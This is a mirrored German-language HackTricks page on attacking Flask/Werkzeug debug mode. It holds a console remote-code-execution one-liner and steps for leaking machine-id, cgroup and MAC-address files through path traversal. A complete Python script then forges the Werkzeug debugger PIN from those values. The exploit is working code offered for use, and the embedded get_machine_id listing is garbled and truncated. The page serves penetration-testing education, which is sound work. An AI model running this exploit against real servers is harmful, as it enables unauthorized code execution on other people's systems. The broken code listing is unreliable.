mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
167 lines
8.5 KiB
Markdown
167 lines
8.5 KiB
Markdown
# Werkzeug / Flask Debug
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
## Console RCE
|
|
|
|
Wenn das Debuggen aktiv ist, könnten Sie versuchen, auf `/console` zuzugreifen und RCE zu erlangen.
|
|
|
|
```python
|
|
__import__('os').popen('whoami').read();
|
|
```
|
|
|
|
![](<../../.gitbook/assets/image (317).png>)
|
|
|
|
Es gibt auch mehrere Exploits im Internet wie [dieser](https://github.com/its-arun/Werkzeug-Debug-RCE) oder einer in Metasploit.
|
|
|
|
## Pin Protected - Pfadtraversierung
|
|
|
|
In einigen Fällen ist der **`/console`** Endpunkt durch eine PIN geschützt. Wenn Sie eine **Dateitraversierungsanfälligkeit** haben, können Sie alle notwendigen Informationen zum Generieren dieser PIN preisgeben.
|
|
|
|
### Werkzeug Console PIN Exploit
|
|
|
|
Erzwingen Sie eine Debug-Fehlerseite in der App, um dies zu sehen:
|
|
|
|
```
|
|
The console is locked and needs to be unlocked by entering the PIN.
|
|
You can find the PIN printed out on the standard output of your
|
|
shell that runs the server
|
|
```
|
|
|
|
Eine Nachricht bezüglich des Szenarios "Konsole gesperrt" wird beim Versuch, auf die Debug-Schnittstelle von Werkzeug zuzugreifen, angezeigt, was auf die Notwendigkeit einer PIN zur Entsperrung der Konsole hinweist. Es wird vorgeschlagen, die Konsole-PIN zu nutzen, indem der PIN-Generierungsalgorithmus in der Debug-Initialisierungsdatei von Werkzeug (`__init__.py`) analysiert wird. Der PIN-Generierungsmechanismus kann aus dem [**Werkzeug-Quellcode-Repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) studiert werden, obwohl empfohlen wird, den tatsächlichen Servercode aufgrund möglicher Versionsunterschiede über eine Dateitraversierbarkeitslücke zu beschaffen.
|
|
|
|
Um die Konsole-PIN auszunutzen, werden zwei Variablensätze, `probably_public_bits` und `private_bits`, benötigt:
|
|
|
|
#### **`probably_public_bits`**
|
|
|
|
* **`username`**: Verweist auf den Benutzer, der die Flask-Sitzung initiiert hat.
|
|
* **`modname`**: Typischerweise als `flask.app` bezeichnet.
|
|
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Löst in der Regel zu **Flask** auf.
|
|
* **`getattr(mod, '__file__', None)`**: Stellt den vollständigen Pfad zu `app.py` im Flask-Verzeichnis dar (z. B. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Wenn `app.py` nicht zutreffend ist, **versuchen Sie es mit `app.pyc`**.
|
|
|
|
#### **`private_bits`**
|
|
|
|
* **`uuid.getnode()`**: Ruft die MAC-Adresse des aktuellen Geräts ab, wobei `str(uuid.getnode())` diese in ein Dezimalformat übersetzt.
|
|
* Um die **MAC-Adresse des Servers zu bestimmen**, muss die aktive Netzwerkschnittstelle identifiziert werden, die von der App verwendet wird (z. B. `ens3`). Bei Unsicherheit **leaken Sie `/proc/net/arp`**, um die Geräte-ID zu finden, und **extrahieren Sie dann die MAC-Adresse** aus **`/sys/class/net/<Geräte-ID>/address`**.
|
|
* Die Umwandlung einer hexadezimalen MAC-Adresse in Dezimalzahlen kann wie folgt durchgeführt werden:
|
|
|
|
```python
|
|
# Beispiel MAC-Adresse: 56:00:02:7a:23:ac
|
|
>>> print(0x5600027a23ac)
|
|
94558041547692
|
|
```
|
|
|
|
* **`get_machine_id()`**: Verknüpft Daten aus `/etc/machine-id` oder `/proc/sys/kernel/random/boot_id` mit der ersten Zeile von `/proc/self/cgroup` nach dem letzten Schrägstrich (`/`).
|
|
|
|
<details>
|
|
|
|
<summary>Code für `get_machine_id()`</summary>
|
|
|
|
\`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id
|
|
|
|
if \_machine\_id is not None: return \_machine\_id
|
|
|
|
def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b""
|
|
|
|
## machine-id is stable across boots, boot\_id is not.
|
|
|
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
|
|
|
|
if value: linux += value break
|
|
|
|
## Containers share the same machine id, add some cgroup
|
|
|
|
## information. This is used outside containers too but should be
|
|
|
|
## relatively stable across boots.
|
|
|
|
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass
|
|
|
|
if linux: return linux
|
|
|
|
## On OS X, use ioreg to get the computer's serial number.
|
|
|
|
try:
|
|
|
|
````
|
|
</details>
|
|
|
|
Nachdem alle erforderlichen Daten gesammelt wurden, kann das Exploit-Skript ausgeführt werden, um die Werkzeug-Konsole-PIN zu generieren. Das Skript verwendet die zusammengestellten `probably_public_bits` und `private_bits`, um einen Hash zu erstellen, der dann weiterverarbeitet wird, um die endgültige PIN zu erzeugen. Im Folgenden finden Sie den Python-Code zur Ausführung dieses Prozesses:
|
|
```python
|
|
import hashlib
|
|
from itertools import chain
|
|
probably_public_bits = [
|
|
'web3_user', # username
|
|
'flask.app', # modname
|
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
|
]
|
|
|
|
private_bits = [
|
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
|
]
|
|
|
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
|
h = hashlib.sha1()
|
|
for bit in chain(probably_public_bits, private_bits):
|
|
if not bit:
|
|
continue
|
|
if isinstance(bit, str):
|
|
bit = bit.encode('utf-8')
|
|
h.update(bit)
|
|
h.update(b'cookiesalt')
|
|
# h.update(b'shittysalt')
|
|
|
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
|
|
num = None
|
|
if num is None:
|
|
h.update(b'pinsalt')
|
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
|
|
rv = None
|
|
if rv is None:
|
|
for group_size in 5, 4, 3:
|
|
if len(num) % group_size == 0:
|
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
|
for x in range(0, len(num), group_size))
|
|
break
|
|
else:
|
|
rv = num
|
|
|
|
print(rv)
|
|
````
|
|
|
|
Dieses Skript erzeugt die PIN, indem es die konkatenierten Bits hashiert, spezifische Salze (`cookiesalt` und `pinsalt`) hinzufügt und formatting the output. Es ist wichtig zu beachten, dass die tatsächlichen Werte für `probably_public_bits` und `private_bits` genau vom Zielsystem erhalten werden müssen, um sicherzustellen, dass die generierte PIN mit der von der Werkzeug-Konsole erwarteten übereinstimmt.
|
|
|
|
Wenn Sie eine **alte Version** von Werkzeug verwenden, versuchen Sie, den **Hash-Algorithmus auf md5** anstelle von sha1 zu ändern.
|
|
|
|
### Referenzen
|
|
|
|
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
|
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
|
|
|
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
|
|
|
**Sofort einsatzbereite Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
|
|
|
</details>
|